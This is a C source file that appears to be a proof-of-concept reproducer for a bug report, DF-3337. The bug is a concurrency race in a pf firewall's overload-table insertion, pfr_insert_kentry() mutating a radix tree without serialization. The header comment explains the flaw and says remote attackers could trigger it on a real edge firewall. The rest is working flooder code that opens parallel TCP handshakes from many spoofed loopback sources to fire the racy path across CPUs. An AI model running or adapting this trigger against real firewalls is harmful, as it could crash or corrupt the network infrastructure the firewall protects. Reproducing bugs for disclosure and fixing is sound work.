DF-3337 / flooder.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 | /* * DF-3337 - concurrent pfr_insert_kentry() radix mutation race. * * pf_src_connlimit() (pf.c:485-513) runs in the PACKET path, which holds * pf_token only SHARED (pf_check_in/pf_check_out, pf_ioctl.c:3205/3225). * It calls pfr_insert_kentry() -> pfr_route_kentry() -> rn_addroute(), * mutating the pfr_ktable radix tree with NO serialization between CPUs * holding the token shared (sys/net/pf/pf_table.c:861-881). * * This flooder drives N workers on N CPUs, each doing full TCP * handshakes from distinct 127.a.b.c source addresses through a pf rule * with "(max-src-conn-rate 1/1, overload <hit>)", so every source's * 2nd connection fires pf_src_connlimit() -> pfr_insert_kentry() on * whatever CPU the ACK lands on. * * Needs root (to load/enable pf) but the trigger traffic itself is * ordinary loopback connections - on a real edge firewall the triggering * sources are remote attackers. * * usage: flooder <worker_id> <num_sources> */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define SERV_ADDR "127.0.0.1" #define SERV_PORT 8080 #ifndef NCONN #define NCONN 10 #endif static void one_conn(struct in_addr src) { struct sockaddr_in dst, bindaddr; int s, one = 1; s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) return; setsockopt(s, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&bindaddr, 0, sizeof(bindaddr)); bindaddr.sin_family = AF_INET; bindaddr.sin_addr = src; if (bind(s, (struct sockaddr *)&bindaddr, sizeof(bindaddr)) < 0) { close(s); return; } memset(&dst, 0, sizeof(dst)); dst.sin_family = AF_INET; dst.sin_port = htons(SERV_PORT); dst.sin_addr.s_addr = inet_addr(SERV_ADDR); /* full handshake; the completing ACK fires pf_src_connlimit */ connect(s, (struct sockaddr *)&dst, sizeof(dst)); close(s); } int main(int argc, char **argv) { int wid; long n, i; if (argc != 3) { fprintf(stderr, "usage: %s <worker_id> <num_sources>\n", argv[0]); return (1); } wid = atoi(argv[1]); n = atol(argv[2]); if (wid == 99) { /* acceptor-only mode: drain the listen queue forever */ struct sockaddr_in la; int l, one = 1; l = socket(AF_INET, SOCK_STREAM, 0); setsockopt(l, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); memset(&la, 0, sizeof(la)); la.sin_family = AF_INET; la.sin_port = htons(SERV_PORT); la.sin_addr.s_addr = inet_addr(SERV_ADDR); if (bind(l, (struct sockaddr *)&la, sizeof(la)) < 0) _exit(1); listen(l, 4096); for (;;) { int c = accept(l, NULL, NULL); if (c >= 0) close(c); } _exit(0); } for (i = 0; i < n; i++) { char buf[16]; struct in_addr src; /* worker w owns 127.(16+w).0.0/16 */ snprintf(buf, sizeof(buf), "127.%d.%ld.%ld", 16 + wid, (i >> 8) & 0xff, i & 0xff); if (inet_aton(buf, &src) == 0) continue; int k; for (k = 0; k < NCONN; k++) one_conn(src); /* conn #>=2 on the same cpu fires overload->insert; * 10 conns over 6 netisr cpus guarantees >=2 land on one cpu * (src-tracking thresholds are per-cpu: pf.c tree_src_tracking[cpu]) */ } fprintf(stderr, "worker %d: %ld sources done\n", wid, n); return (0); } |